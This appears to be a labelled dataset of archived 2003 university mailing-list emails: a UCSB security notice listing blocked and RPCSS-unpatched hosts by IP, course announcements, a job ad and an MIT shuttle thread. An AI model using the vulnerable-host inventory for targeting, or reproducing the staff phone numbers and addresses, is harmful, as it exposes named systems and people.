esmtp id 1AJJXy-0009ev-Pn; Mon, 10 Nov 2003 13:26:06 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AJJXe-0009eN-Ex; Mon, 10 Nov 2003 13:25:46 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AJJXZ-0009eI-W3; Mon, 10 Nov 2003 13:25:42 -0800 Message-ID: <3FB00253.4070007@UCSB.edu> Date: Mon, 10 Nov 2003 13:25:39 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031027 Thunderbird/0.3 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts (and those that may be blocked soon) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Hosts that have been on the ""unpatched hosts"" list for more than one week may be blocked in order to prevent their involvement in any new security incidents. We felt compelled to do this because patches for these vulnerabilities have been available for quite some time, hosts in our domain are being scanned for these vulnerabilities by potential intruders, and system compromises have occurred due to lack of patching. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) ***128.111.9.206 -- 128.111.20.52 dhcp20-52.wirelesstest.ucsb.edu 128.111.20.58 dhcp20-58.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.56.235 zuki.ece.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.179 -- 128.111.68.248 -- 128.111.72.47 dahlehpc-3.mee.ucsb.edu 128.111.72.143 plank.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 -- 128.111.159.150 -- 128.111.161.6 -- 128.111.164.202 snake.mee.ucsb.edu 128.111.164.209 turtle.mee.ucsb.edu 128.111.219.200 host219-200.lsdepts.ucsb.edu 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.30.97 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.238 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.50.201 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.33 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.127 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.49 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.143 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.93 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.181.131 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.118 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.84 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.99 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.196.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.5 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.206 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.241 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.220.82 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.241.109 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 48 RPCSS Vulnerable ............................. 48 DCOM Disabled ................................ 68 Not Vulnerable ............................... 3675 Errors ....................................... 8 TCP Port 135 Closed or Host Timeout .......... 61736 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 10 Nov 2003 18:08:01 -0600",Verilog for project," Folks, I have updated and released a new version of the unpipelined verilog that fixes a bug in the shift instructions. You can download a new version from the usual place - the updated tar file is lc35.tar (same name as original). I have also created a revision log for the verilog at: http://www.cs.utexas.edu/users/skeckler/cs352h/homework/hw.html The old tar files will be saved and will be available under the filename described on that page. If you want to see the fix - just run the diff program on each pair of files: csh> diff oldfile.v newfile.v Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 11 Nov 2003 11:16:28 -0600",reading assignment," CS352h-ers, I wanted to remind you to finish reading Chapter 6 in P&H. You should already have gone through 6.1-6.5. Please finish the chapter - 6.6-6.12 for Thursday. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 18 Nov 2003 13:42:44 -0600",announcements,"CS352h-ers, As a reminder - I handed out the following in today's class: - R. Kessler, ""The Alpha 21264 Microprocessor,"" IEEE Micro 19(2):24-36, March, 1999. - please read this paper by 11/25 - HW #5 - this is a short assignment on out-of-order execution, due on 11/25. See you on Thursday. Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler",0,1 LSU Mathematics ,profjobs@math.lsu.edu,"Wed, 19 Nov 2003 09:08:56 -0600",Job Openings at LSU," The Department of Mathematics at Louisiana State University announces a major expansion of its professorial faculty and of its graduate program. Six (6) new professorial hires are planned for 2004. All areas of mathematics will be considered at all professorial levels. Senior candidates may recommend additional candidates to form new research groups or to strengthen existing groups. * Applications and nominations are invited at all professorial levels. * Research excellence is required. * Commitment to graduate and undergraduate education is expected. As part of LSU Flagship Agenda, XXXX://appl003.lsu.edu/acadaff/flagship.nsf/index/ the expansion will be sustained over the next several years with up to sixteen (16) new professorial positions filled. This expansion continues after the targeted hiring experienced in the last four years in which a new group in Materials Science was formed, other areas of departmental research were strenghthened by new hires, XXXX://www.math.lsu.edu/deptinfo/news.php#recent-hires and a departmental Beowulf cluster with 32 nodes was installed. At the same time, the University installed a Boewulf cluster with 1024 processors which ranked fastest cluster in the world according to the September, 2002, Top500 listing of installed clusters. XXXX://www.phys.lsu.edu/faculty/tohline/capital/beowulf.html The standard teaching load at LSU is two courses (six hours) per semester. Minorities and women are strongly encouraged to apply. Confidentiality of initial inquiries will be maintained. For details, consult the departmental Employment Opportunities webpage or send email to profjobs@math.lsu.edu. The graduate program is expanding from 70 to 100 graduate students with the addition of ten (10) new assistantships per year, for three years. These assistantships will be awarded competitively with stipends of up to $25,000. Details can be found at XXXX://www.math.lsu.edu/grad/funding.html ",0,0 """Jennifer B. Sartor"" ",cs352h@lists.cc.utexas.edu,"Wed, 19 Nov 2003 17:22:01 -0600",no Wednesday office hours next week,"CS352hers - Just wanted to let you know that because of Thanksgiving next week, I will have no Wednesday office hours. Tuesday office hours next week will still happen as usual (2-3:30 Painter 5.36B). Thanks, Jenn Sartor CS352h TA ",0,0 Bartlomiej Gierszyn ,XXX@XXXXXXXX.XXXXXXX.XXX,"Thu, 20 Nov 2003 04:46:00 -0800",Articles that fall exactly into your field of scientific interest (from Central European Journal of Mathematics),"Dear Professor XXXXXXXX, We would like to inform you about the publication of the following paper(s), matching your fields of interest and selected from the fourth issue of the Central European Journal of Mathematics (www.cesj.com/mathematics.html): Title: Quantum scattering near the lowest Landau threshold for a Schrodinger operator with a constant magnetic field Author: Michael Melgaard Link: XXXX://www.ingentaselect.com/rpsv/catchword/cesj/16443616/v1n4/s5/p477 We are kindly inviting you to visit our journal. If you are interested in a subscription or pay-per-view access, please contact us directly or visit XXXX://www.cesj.com/online.html. You are receiving this e-mail because one or more articles published in the Central European Journal of Mathematics are related to your fields of interest. Please reply to this e-mail using MSC codes (available at XXXX://www.ams.org/msc) if you have a wider range of fields of interest or other than the following: Operator theory. You will not receive any messages if none of the future articles match these fields. If you would like to be removed from this list, please respond to this e-mail with the word ""Unsubscribe"" in the subject line. Thank you! Yours sincerely, Bartlomiej Gierszyn Central European Science Journals www.cesj.com mathematics@cesj.com ",0,0 James Colby Kraybill ,noise@celestial.Berkeley.EDU,"Thu, 20 Nov 2003 11:45:03 -0800",Bill Joy on Mac OS X," Bill Joy, co-founder of Sun Microsystems and up until recently, Chief Scientist. http://maccentral.macworld.com/news/2003/11/20/joy/index.php?redirect=1069328016000 ... When the interviewer asks Joy about his ""famously cool"" attitude towards Linux, Joy responded, ""Re-implementing what I designed in 1979 is not interesting to me personally. For kids who are 20 years younger than me, Linux is a great way to cut your teeth. It's a cultural phenomenon and a business phenomenon. Mac OS X is a rock-solid system that's beautifully designed. I much prefer it to Linux."" Then again, perhaps there's some parental hubris behind Joy's comments: Among his other accomplishments, Joy is credited with coding Berkeley Software Distribution (BSD) Unix, the core underpinnings upon which Mac OS X is based. --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley ",0,1 Nicholas Baksh ,sponge-talk@mit.edu,"Mon, 24 Nov 2003 08:47:28 -0500",[Sponge-talk] Proposed Tech Shuttle Changes,"Do you think this would be a good idea or a bad idea, post notice to sponge talk >Current TechShuttle service: >-Covers most of the southern and eastern parts of main campus >-Has a wait time of 20 minutes between shuttles >-Additional winter shuttle (Dec. ­ Apr.) reduces wait time to 10 minutes > >Effect of proposed change: >-Provides morning coverage to residents in the northwest part of campus > (Edgerton House, the Warehouse, Sidney-Pacific, Random Hall, WILG) >-Over 1200 additional undergraduate and graduate students would have > convenient and direct access from their residences. >-Some stops along the current route will not experience a decreased waiting > time of 10 minutes > >Summary: >-Current TechShuttle route and times won’t be affected >-Second shuttle will be partially re-routed from the hours of 8am ­ 11am >-Outside of this time window, TechShuttle operation will remain unchanged _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 08:55:29 2003 X-Mozilla-Status: 0001 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 08:54:30 -0500 X-Sieve: CMU Sieve 2.2 Received: from fort-point-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAODsP6I009880; Mon, 24 Nov 2003 08:54:25 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by fort-point-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAODrlF0015216; Mon, 24 Nov 2003 08:53:47 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAODrjqb006175; Mon, 24 Nov 2003 08:53:45 -0500 (EST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAODrhqb006169 for ; Mon, 24 Nov 2003 08:53:43 -0500 (EST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82])hAODrgF0015184 for ; Mon, 24 Nov 2003 08:53:42 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAODrgEG021875 for ; Mon, 24 Nov 2003 08:53:42 -0500 (EST) Received: from klang.mit.edu (KLANG.MIT.EDU [18.96.1.95]) ) hAODrfFF025601 for ; Mon, 24 Nov 2003 08:53:41 -0500 (EST) Message-Id: <5.1.0.14.2.20031124085136.02ec62f0@hesiod> X-Sender: klang@hesiod (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 24 Nov 2003 08:51:40 -0500 To: sponge-talk@mit.edu From: ""Kevin R. Lang"" Subject: Fwd: [Sponge-talk] Proposed Tech Shuttle Changes Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by pch.mit.edu id hAODrhqb006169 X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: 0.4 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) >X-Sieve: CMU Sieve 2.2 >X-Sender: nbaksh@hesiod (Unverified) >X-Mailer: QUALCOMM Windows Eudora Version 5.1 >Date: Mon, 24 Nov 2003 08:47:28 -0500 >To: sponge-talk@mit.edu >From: Nicholas Baksh >X-MIME-Autoconverted: from quoted-printable to 8bit by pch.mit.edu id > hAODlBqb005735 >Subject: [Sponge-talk] Proposed Tech Shuttle Changes >X-BeenThere: sponge-talk@mit.edu >X-Mailman-Version: 2.1 >List-Id: Discussion surrounding Simmons Hall >List-Help: >List-Post: >List-Subscribe: , > >List-Archive: >List-Unsubscribe: , > >Sender: sponge-talk-bounces@MIT.EDU >X-Spam-Score: 0.6 >X-Spam-Flag: NO >X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) > >Do you think this would be a good idea or a bad idea, post notice to >sponge talk > > >>Current TechShuttle service: >>-Covers most of the southern and eastern parts of main campus >>-Has a wait time of 20 minutes between shuttles >>-Additional winter shuttle (Dec. ­ Apr.) reduces wait time to 10 minutes >> >>Effect of proposed change: >>-Provides morning coverage to residents in the northwest part of campus >> (Edgerton House, the Warehouse, Sidney-Pacific, Random Hall, WILG) >>-Over 1200 additional undergraduate and graduate students would have >> convenient and direct access from their residences. >>-Some stops along the current route will not experience a decreased waiting >> time of 10 minutes >> >>Summary: >>-Current TechShuttle route and times won’t be affected >>-Second shuttle will be partially re-routed from the hours of 8am ­ 11am >>-Outside of this time window, TechShuttle operation will remain unchanged > > >_______________________________________________ >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > >---- For Archives & Subscription: Sponge-talk@mit.edu >http://mailman.mit.edu/mailman/listinfo/sponge-talk _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 09:29:52 2003 X-Mozilla-Status: 0013 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 09:24:51 -0500 X-Sieve: CMU Sieve 2.2 Received: from pacific-carrier-annex.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOEOk6I028860; Mon, 24 Nov 2003 09:24:46 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by pacific-carrier-annex.mit.edu (8.12.4/8.9.2) with ESMTP id hAOEOQKL023044; Mon, 24 Nov 2003 09:24:26 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOEOOqb008252; Mon, 24 Nov 2003 09:24:24 -0500 (EST) Received: from pacific-carrier-annex.mit.edu (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.7.21.83]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOEOMqb008246 for ; Mon, 24 Nov 2003 09:24:22 -0500 (EST) Received: from websnail.mit.edu (WEBSNAIL.MIT.EDU [18.7.22.71]) hAOEOKKL022977; Mon, 24 Nov 2003 09:24:20 -0500 (EST) Received: (from www@localhost) by websnail.mit.edu (8.9.3) id JAA21808; Mon, 24 Nov 2003 09:24:20 -0500 (EST) From: klang@MIT.EDU Received: from 18.47.0.79 ( [18.47.0.79]) as user klang@MIT.EDU by webmail.mit.edu with HTTPS; Mon, 24 Nov 2003 09:24:20 -0500 Message-ID: <1069683860.3fc2149474770@webmail.mit.edu> Date: Mon, 24 Nov 2003 09:24:20 -0500 To: ""Kevin R. Lang"" Subject: Re: Fwd: [Sponge-talk] Proposed Tech Shuttle Changes References: <5.1.0.14.2.20031124085136.02ec62f0@hesiod> In-Reply-To: <5.1.0.14.2.20031124085136.02ec62f0@hesiod> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.1-cvs X-Originating-IP: 18.47.0.79 X-Originating-Host: X-MIT-WebMail-Sender: X-MIT-WebMail-User-Browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) cc: sponge-talk@mit.edu X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: -0.8 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) whoops, sorry about that. what I meant to say was... from this it isn't really clear to me what the actual proposed changes are, rather they've only laid out what the proposed goal is. would this new service be year-round, or only during the winter months when there are two shuttles anyway? which stops would not benefit from the 10-minute-interval winter service? i.e. who are they skipping? or are they two completely separate routes? what would the time between pickups be for SP, warehouse, etc? -Kevin Quoting ""Kevin R. Lang"" : > > >X-Sieve: CMU Sieve 2.2 > >X-Sender: nbaksh@hesiod (Unverified) > >X-Mailer: QUALCOMM Windows Eudora Version 5.1 > >Date: Mon, 24 Nov 2003 08:47:28 -0500 > >To: sponge-talk@mit.edu > >From: Nicholas Baksh > >X-MIME-Autoconverted: from quoted-printable to 8bit by pch.mit.edu id > > hAODlBqb005735 > >Subject: [Sponge-talk] Proposed Tech Shuttle Changes > >X-BeenThere: sponge-talk@mit.edu > >X-Mailman-Version: 2.1 > >List-Id: Discussion surrounding Simmons Hall > >List-Help: > >List-Post: > >List-Subscribe: , > > > >List-Archive: > >List-Unsubscribe: , > > > >Sender: sponge-talk-bounces@MIT.EDU > >X-Spam-Score: 0.6 > >X-Spam-Flag: NO > >X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) > > > >Do you think this would be a good idea or a bad idea, post notice to > >sponge talk > > > > > >>Current TechShuttle service: > >>-Covers most of the southern and eastern parts of main campus > >>-Has a wait time of 20 minutes between shuttles > >>-Additional winter shuttle (Dec. ­ Apr.) reduces wait time to 10 minutes > >> > >>Effect of proposed change: > >>-Provides morning coverage to residents in the northwest part of campus > >> (Edgerton House, the Warehouse, Sidney-Pacific, Random Hall, WILG) > >>-Over 1200 additional undergraduate and graduate students would have > >> convenient and direct access from their residences. > >>-Some stops along the current route will not experience a decreased > waiting > >> time of 10 minutes > >> > >>Summary: > >>-Current TechShuttle route and times won’t be affected > >>-Second shuttle will be partially re-routed from the hours of 8am ­ 11am > >>-Outside of this time window, TechShuttle operation will remain unchanged > > > > > >_______________________________________________ > >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > > >---- For Archives & Subscription: Sponge-talk@mit.edu > >http://mailman.mit.edu/mailman/listinfo/sponge-talk > > > _______________________________________________ > Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > ---- For Archives & Subscription: Sponge-talk@mit.edu > http://mailman.mit.edu/mailman/listinfo/sponge-talk > _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 09:34:12 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 09:32:29 -0500 X-Sieve: CMU Sieve 2.2 Received: from fort-point-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAOEWN6I004001; Mon, 24 Nov 2003 09:32:24 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by fort-point-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAOEVhF0010880; Mon, 24 Nov 2003 09:31:43 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOEVfqb009092; Mon, 24 Nov 2003 09:31:41 -0500 (EST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAOEVcqb009082 for ; Mon, 24 Nov 2003 09:31:38 -0500 (EST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82])hAOEVcF0010837 for ; Mon, 24 Nov 2003 09:31:38 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAOEVbEG026250; Mon, 24 Nov 2003 09:31:37 -0500 (EST) Received: from mit.edu (TWELVE.MIT.EDU [18.96.0.95]) )hAOEVaFE007781; Mon, 24 Nov 2003 09:31:36 -0500 (EST) Message-ID: <3FC21642.8020707@mit.edu> Date: Mon, 24 Nov 2003 09:31:30 -0500 From: Seth User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 (CK-MIT) X-Accept-Language: en-us, en MIME-Version: 1.0 To: klang@mit.edu, sponge-talk@mit.edu Subject: Re: Fwd: [Sponge-talk] Proposed Tech Shuttle Changes References: <5.1.0.14.2.20031124085136.02ec62f0@hesiod> <1069683860.3fc2149474770@webmail.mit.edu> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: -1.4 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) http://web.mit.edu/gsc/www/studentlife/transportation/tsproposal2003.shtml ~Seth klang@MIT.EDU wrote: > whoops, sorry about that. what I meant to say was... > > from this it isn't really clear to me what the actual proposed changes are, > rather they've only laid out what the proposed goal is. > > would this new service be year-round, or only during the winter months when > there are two shuttles anyway? > > which stops would not benefit from the 10-minute-interval winter service? i.e. > who are they skipping? or are they two completely separate routes? > > what would the time between pickups be for SP, warehouse, etc? > > -Kevin > > > > > Quoting ""Kevin R. Lang"" : > > >>>X-Sieve: CMU Sieve 2.2 >>>X-Sender: nbaksh@hesiod (Unverified) >>>X-Mailer: QUALCOMM Windows Eudora Version 5.1 >>>Date: Mon, 24 Nov 2003 08:47:28 -0500 >>>To: sponge-talk@mit.edu >>>From: Nicholas Baksh >>>X-MIME-Autoconverted: from quoted-printable to 8bit by pch.mit.edu id >>> hAODlBqb005735 >>>Subject: [Sponge-talk] Proposed Tech Shuttle Changes >>>X-BeenThere: sponge-talk@mit.edu >>>X-Mailman-Version: 2.1 >>>List-Id: Discussion surrounding Simmons Hall >>>List-Help: >>>List-Post: >>>List-Subscribe: , >>> >>>List-Archive: >>>List-Unsubscribe: , >>> >>>Sender: sponge-talk-bounces@MIT.EDU >>>X-Spam-Score: 0.6 >>>X-Spam-Flag: NO >>>X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) >>> >>>Do you think this would be a good idea or a bad idea, post notice to >>>sponge talk >>> >>> >>> >>>>Current TechShuttle service: >>>>-Covers most of the southern and eastern parts of main campus >>>>-Has a wait time of 20 minutes between shuttles >>>>-Additional 